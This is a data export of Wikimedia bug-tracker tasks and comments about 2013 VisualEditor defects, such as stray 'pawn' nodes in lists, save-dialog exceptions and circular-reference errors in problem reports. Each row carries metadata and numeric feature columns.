+214441,VisualEditor: Aborted empty list creates a pawn,"I can reproduce in Firefox and Chrome if you forwards-delete or insert characters. It appears that this is because when you clear out the <li> (return at the end of the list) it doesn't check that the <ul> is empty, so you get a node inside the <ul>.
+
+Note that in casual testing this 'worked', because backspace deletes the pawn and <ul> together. Bother.",,,1368126833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+214432,VisualEditor: Aborted empty list creates a pawn,Same when entering text instead of Delete,,,1368090135,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+50286,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
+Put the cursor somewhere in the text.
+Type ""Enter"" 2 times.
+Type ""Up"".
+Type ""Delete"".
+Click Bullet List
+Type q
+Type Left
+Type Enter
+Type Up
+Type Delete
+
+Wild pawn appears.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1368089760,1368211364.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-beabkw6yw7remnijbvdm,task_description,resolved,True,c1,1,False,False,True,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+214389,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"(In reply to comment #3)
+> James, do you mean the pawn does not appear for you?
+> I tried just now on wikipedia.org, the pawn appears.
+> Please note that the correct instructions are those in Comment 1.
+> 
+> Ubuntu 2012.10, Firefox 20.0
+
+I didn't say it doesn't appear in production, I said it doesn't appear in master; had I been unable to reproduce, I would have said. :-)
+
+I think this is fixed through changes made in master but not deployed, but bug 47795 appears to have broken itself; I'll close this and mark that as re-opened.",,,1368211364,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,1
+214385,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"James, do you mean the pawn does not appear for you?
+I tried just now on wikipedia.org, the pawn appears.
+Please note that the correct instructions are those in Comment 1.
+
+Ubuntu 2012.10, Firefox 20.0",,,1368153322,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+214381,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"I can reproduce bug 47795 in master in Firefox, but not the pawn issue; all works in Chrome, as normal.",,,1368126046,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,True,,,-8,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+214373,VisualEditor: Delete on empty first item of list -> pawn in Firefox,"Sorry, ignore the first Delete step above.
+
+Steps should read:
+
+Type ""Enter"" 2 times.
+Type ""Up"".
+Click Bullet List
+Type q
+Type Left
+Type Enter
+Type Up
+Type Delete",,,1368089888,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-beabkw6yw7remnijbvdm,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0
+50193,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"1. Open http://en.wikipedia.org/wiki/Enterprise_content_management
+2. Add a space and remove it
+3. Press ""Review and Save""
+4. Wait forever.
+
+The text stays greyed out and nothing changes. Changes can't be saved.
+Same for any article I tried.
+
+Ubuntu 2012.10, Firefox 20.0
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Unbreak Now!,100.0,1367893860,1368023940.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-32fs65piddaapoc5z4hg,task_description,resolved,True,c1,1,False,False,True,-8,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+209024,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"
+
+*** This bug has been marked as a duplicate of bug 48181 ***",,,1368023940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+209019,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],Bug is gone indeed.,,,1368018208,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+209013,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],Can't reproduce in Chrome or FF. I see other bugs (which I think have been filed elsewhere) but nothing that stops me from reviewing.,,,1368018032,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+209008,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"Ed, marking this as immediate for when you wake.",,,1367895324,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+209005,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],Error: toDomElements() failed to return an array when converting element of type alienBlock @ http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130506T190432Z&*:130,,,1367894800,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0
+209001,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"Uncaught Error: toDomElements() failed to return an array when converting element of type alienBlock load.php:4092
+> ve.dm.Converter.getDomElementsFromDataElement load.php:4092
+> ve.dm.Converter.getDomSubtreeFromData load.php:4629
+> ve.dm.Converter.getDomFromData load.php:4444
+> ve.init.mw.ViewPageTarget.swapSaveDialog load.php:101
+> ve.init.mw.ViewPageTarget.showSaveDialog load.php:99
+> ve.init.mw.ViewPageTarget.onToolbarSaveButtonClick load.php:87
+> proxy load.php:10
+> ve.EventEmitter.emit load.php:11
+> ve.ui.ButtonWidget.onClick load.php:8696
+> proxy load.php:10
+> jQuery.event.dispatch load.php:45
+> elemData.handle.eventHandle",,,1367894666,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+208997,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],"(In reply to comment #0)
+> 1. Open http://en.wikipedia.org/wiki/Enterprise_content_management
+> 2. Add a space and remove it
+> 3. Press ""Review and Save""
+> 4. Wait forever.
+> 
+> The text stays greyed out and nothing changes. Changes can't be saved.
+> Same for any article I tried.
+> 
+> Ubuntu 2012.10, Firefox 20.0
+
+Confirmed on Firefox 20, Mac OS X.",,,1367894611,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+208992,VisualEditor: ve.dm.Converter throws exception when encountering alien from [[en:Enterprise_content_management]],What does the console error log say?,,,1367893927,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32fs65piddaapoc5z4hg,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0
+50069,VisualEditor: Indenting multiple list items now broken in Firefox,"Multiple list items don't indent properly.
+
+Steps to duplicate the bug:
+
+Write a couple of lines. Mark all the lines and click the ""list"" button - producing bullet-list. 
+
+If the indent button is clicked when the cursor is on a single list item, that item will be indented. However, if you mark a couple of list items and indent them at once, the indentation is jumbled: some of the items are indented and some double-indented (and the item above the selection seems to be indented as well)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1367650560,1368465449.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-cilebqon5xuldg2g3esr,task_description,resolved,True,c1,1,False,False,True,-9,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0
+227040,VisualEditor: Indenting multiple list items now broken in Firefox,"
+
+*** This bug has been marked as a duplicate of bug 48390 ***",,,1368465449,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cilebqon5xuldg2g3esr,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+227033,VisualEditor: Indenting multiple list items now broken in Firefox,"I am entirely not sure if I am in the right direction here, but I figured I'd share my intuition --
+
+I am thinking this is some bug with the definition of child-nodes vs same-level nodes, which results in indentation as if some of the nodes selected are parents.
+
+There was a change in ve.ce.BranchNode.js and ve.ce.ContentBranchNode.js regarding child nodes -- could this have caused it?
+
+
++ve.ce.BranchNode.prototype.onModelUpdate = function ( transaction ) {
++       this.emit( 'childUpdate', transaction );
+
+And there are a couple of other changes in the ve.ce.BranchNode.prototype.onSplice method. Perhaps something went wrong with the definition of what is a child and what is a same-level node, which then jumbles up the hierarchy of the list?
+
+(I do hope I am in the right direction here, I thought I'd share my thoughts)",,,1367694128,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cilebqon5xuldg2g3esr,task_subcomment,,True,c1,1,False,,,-9,,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+227027,VisualEditor: Indenting multiple list items now broken in Firefox,Broken in master for Firefox but not in wmf3 - presumably we changed something in the last week that did this?,,,1367692978,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cilebqon5xuldg2g3esr,task_subcomment,,True,c1,1,True,,,-9,,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+50022,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox","*that* was an amusing bug to find.
+
+Tested on mediawiki.org.
+
+Steps:
+
+1. Write text in an ordered list item
+2. Select some of the text
+3. Hit ""end""
+
+Expected:
+
+Cursor at end of line
+
+Actual:
+
+Cursor at end of line, text gone
+
+I would *suspect* this is an easy bug, unmark it if it's not.
+
+Found bug on Firefox 23 alpha 1
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1367530560,1368221665.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-kcoehi5bluofxq2bsd4i,task_description,resolved,True,c1,1,True,False,True,-9,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+223685,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",*** Bug 48288 has been marked as a duplicate of this bug. ***,,,1369093388,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+223677,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",https://gerrit.wikimedia.org/r/63223 (Gerrit Change I7a8d6c474ecca5af02b72b6453c900ed61acea58) | change APPROVED and MERGED [by jenkins-bot],,,1368221634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+223670,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",Related URL: https://gerrit.wikimedia.org/r/63223 (Gerrit Change I7a8d6c474ecca5af02b72b6453c900ed61acea58),,,1368219098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+223661,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",*** Bug 48039 has been marked as a duplicate of this bug. ***,,,1367600124,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+223653,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",Whoops. :-),,,1367545406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+50006,VisualEditor: VE sometimes posting to the wrong API when serializing wikitext?,"See Parsoid bug 47998.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1367509980,1368216302.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-5wvor46u2dd3dffehhqn,task_description,invalid,True,c1,1,True,False,True,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+222734,VisualEditor: VE sometimes posting to the wrong API when serializing wikitext?,"As far as we can tell, this isn't reproducible in live, so I'm marking as INVALID; happy to re-open if we see this happen in the wild.",,,1368216302,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5wvor46u2dd3dffehhqn,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+222729,VisualEditor: VE sometimes posting to the wrong API when serializing wikitext?,"Argh, a mess - Roan, could you investigate?",,,1367510099,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5wvor46u2dd3dffehhqn,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0
+49948,VisualEditor: JSON.stringify won't work if data contains DOM elements,"Steps to reproduce problem:
+1. Edit https://www.mediawiki.org/wiki/Git/Commit_message_guidelines in VisualEditor
+2. Add some text
+3. ""Review and save""
+4. ""Something is wrong""
+5. ""Report problem""
+
+Expected behaviour:
+Make an http request somewhere and report back in the UI.
+
+Actual behaviour:
+No http request is made and UI is unresponsive.
+
+console:
+> Uncaught TypeError: Converting circular structure to JSON
+> at:
+> > mw.Target.prototype.reportProblem = function(message) {
+> > var ...., report = { title: .., oldid: .., .. };
+> > $.post(mw.config.get('wgVisualEditorConfig').reportProblemURL, {'data': JSON.stringify(report)}, function() {
+
+debug:
+
+var objs = [];
+JSON.stringify(a, function (k, v) {
+  var i;
+  if (v === Object(v)) {
+    i = objs.indexOf(v);
+    if (i !== -1) {
+      console.log('dupe at #' + i, v);
+    }
+    objs.push(v);
+  }
+  return v;
+});
+dupe at #66 
+<p data-parsoid=​""{""dsr"":​[0,139,0,0]​}​"">​
+""The ""
+<b data-parsoid=​""{""tsr"":​[4,7]​,""dsr"":​[4,24,3,3]​}​"">​commit message​</b>​
+"" play an important role in revision control systems. They are the first thing other people will see of your commit.""
+</p>​
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1367434260,1368038305.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-dt7csod4a2evm53mkmur,task_description,resolved,True,c1,1,True,False,True,-9,,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+219213,VisualEditor: JSON.stringify won't work if data contains DOM elements,Fixed in master.,,,1368038305,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+219205,VisualEditor: JSON.stringify won't work if data contains DOM elements,"Ah, because native DOM element objects have all kinds of ""convenience"" pointers like ""firstChild"", ""children"", ""nextSibling"", ""paretNode"", ""ownerDocument"", which all have the same as well, so its like a circular reference nightmare.",,,1368030444,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+219196,VisualEditor: JSON.stringify won't work if data contains DOM elements,Related URL: https://gerrit.wikimedia.org/r/62811 (Gerrit Change Id807ccc6ff31d063be815ed4988cb35684adb76a),,,1368020696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+219189,VisualEditor: JSON.stringify won't work if data contains DOM elements,This is caused by the linear data now contain DOM elements in alien nodes (and other nodes that store original HTML). We will need to pre-process the data before serialising. We already do this in the unit tests so shouldn't be too difficult.,,,1368019429,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+219182,VisualEditor: JSON.stringify won't work if data contains DOM elements,"@Ed: I suspect the circular reference is coming from inside the data model. Can you look into this?
+
+See ve.init.mw.Target.js, method #reportProblem.",,,1367860376,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0
+49842,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"Currently we don't alert users that they're outing their IP when they save. This is a Bad Thing(tm).
+
+--------------------------
+**Version**: unspecified
